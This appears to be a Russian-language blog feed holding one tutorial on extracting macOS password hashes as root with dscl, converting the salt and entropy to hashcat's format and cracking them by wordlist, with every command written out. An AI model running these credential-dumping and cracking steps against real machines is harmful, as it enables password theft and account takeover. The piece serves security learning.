<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>maikeru</title><subtitle>Учусь информационной безопасности, пишу статьи</subtitle><author><name>maikeru</name></author><id>https://teletype.in/atom/maikeru</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/maikeru?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@maikeru?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=maikeru"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/maikeru?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-10-24T06:54:51.829Z</updated><entry><id>maikeru:fUEghCrXlBD</id><link rel="alternate" type="text/html" href="https://teletype.in/@maikeru/fUEghCrXlBD?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=maikeru"></link><title>Захват и взлом хешей MacOs</title><published>2023-01-27T17:45:43.447Z</published><updated>2023-01-27T17:48:57.070Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/57/34/57345b48-6cd2-49f3-82ca-2ef76100d706.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/6f/be/6fbe7eab-886a-4e57-b14c-3a428e9f09ed.png&quot;&gt;На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.</summary><content type="html">
  &lt;p id=&quot;m7OF&quot;&gt;На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.&lt;/p&gt;
  &lt;h2 id=&quot;SBmv&quot;&gt;Локальная служба каталогов&lt;/h2&gt;
  &lt;p id=&quot;7htN&quot;&gt;Хэши учетный записей MacOS хранятся в локальной службе каталогов. В новых версиях SIP (защита целостности системы) не позволяет root получить прямой доступ к файлам.&lt;/p&gt;
  &lt;p id=&quot;9ngV&quot;&gt;Для обхода этой защиты используется &lt;code&gt;dscl&lt;/code&gt; Directory Service command line utility (Утилита командной строки службы каталогов). В качестве root пользователя можно прочитать информацию других учетных записей.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;SLNt&quot;&gt;&lt;code&gt;sudo dscl . -read /Users/vv&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;6CIW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6f/be/6fbe7eab-886a-4e57-b14c-3a428e9f09ed.png&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Пример вывода в консоль&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;LX0R&quot;&gt;Получение хешей&lt;/h2&gt;
  &lt;p id=&quot;W7uu&quot;&gt;Чтобы получить только хэш, можно выполнить команду:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;5JQ5&quot;&gt;&lt;code&gt;sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zoiE&quot;&gt;Но это мало что даст, поэтому необходимо преобразовать голые данные в нормальный вид специальной командой:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;tXVy&quot;&gt;&lt;code&gt;sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc &amp;#x27;0-9a-f&amp;#x27; | xxd -p -r | plutil -convert xml1 - -o -&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;eGeL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3f/72/3f729310-e5c1-4ee1-8a0c-208349c08cd2.png&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Вывод команды в консоли&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZAH4&quot;&gt;Теперь следующая цель это преобразование данных в шестнадцатеричное представление.&lt;/p&gt;
  &lt;p id=&quot;mkLz&quot;&gt;Для &lt;code&gt;salt&lt;/code&gt; это делает просто:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;EbHW&quot;&gt;&lt;code&gt;echo tjgLeEszPoypyM/YVQfV2QGoY3R45itDmPS0SEbWuuE= | base64 -D | xxd -p | tr -d \\n &amp;gt; salt.txt&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;6Sit&quot;&gt;Для &lt;code&gt;entropy&lt;/code&gt; нужно сделать практически тоже самое, но после декодирования base64, нужны будут только первые 64 байта или 512 бит. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;UZmI&quot;&gt;&lt;code&gt;echo &amp;quot;lKbKQTnIToq9HehWtapdqfvWn+UPSuIozxRJdH/E/88O6qkQEMc1bLCDEUf/O8LiuLVzAoM1rJAiXEbKdgU2+GhFNvWmO3kyCSjJwUkDi9pbp04Cky5KHxrM3+uLHYFwXSq5tpxsUbTptQ4VCpOzifwf9XKq8yKvR+mDG7WoFXs=&amp;quot; | base64 -d | head -c 64 | xxd -p | tr -d \\n &amp;gt; entropy.txt&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;l9Jw&quot;&gt;Использование Hashcat для подбора пароля&lt;/h2&gt;
  &lt;p id=&quot;9EiG&quot;&gt;Для удобства можно создать текстовый файл hashcat, для этого нужно объединить найденные хэш данные в одну строку.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DCrw&quot;&gt;$ml$&amp;lt;iterations(integer)&amp;gt;$&amp;lt;salt(hex)&amp;gt;$&amp;lt;entropy(hex)&amp;gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;V1Y3&quot;&gt;В нашем примере это:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;e9fm&quot;&gt;$ml$147058$b6380b784b333e8ca9c8cfd85507d5d901a8637478e62b4398f4b44846d6bae1$94a6ca4139c84e8abd1de856b5aa5da9fbd69fe50f4ae228cf1449747fc4ffcf0eeaa91010c7356cb0831147ff3bc2e2b8b573028335ac90225c46ca760536f8&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;vKWi&quot;&gt;Сохраните эту строку в файл с именем hash.txt и используйте его в &lt;code&gt;hashcat&lt;/code&gt;. Теперь можно пройтись по хэшу словарем:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;sbTL&quot;&gt;&lt;code&gt;hascat -m 7100 hash.txt wordlist.txt&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;FYGX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9f/7e/9f7ecdb9-6a84-41aa-a722-0a52e9581748.png&quot; width=&quot;906&quot; /&gt;
    &lt;figcaption&gt;Вывод команды&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fAJZ&quot;&gt;Пароль успешно подобран! Результатом будет подобранный пароль &lt;code&gt;pass123&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;XDIS&quot;&gt;Полезные ссылки&lt;/h2&gt;
  &lt;p id=&quot;3cuf&quot;&gt;Полезные репозитории:&lt;/p&gt;
  &lt;p id=&quot;u1jS&quot;&gt;&lt;a href=&quot;https://github.com/octomagon/davegrohl&quot; target=&quot;_blank&quot;&gt;https://github.com/octomagon/davegrohl&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;K1LO&quot;&gt;При подготовки этой статьи использовались следующие ресурсы:&lt;/p&gt;
  &lt;p id=&quot;xZbU&quot;&gt;&lt;a href=&quot;https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/&quot; target=&quot;_blank&quot;&gt;https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;0Avp&quot;&gt;&lt;a href=&quot;https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863&quot; target=&quot;_blank&quot;&gt;https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;LdbV&quot;&gt;&lt;a href=&quot;https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2&quot; target=&quot;_blank&quot;&gt;https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>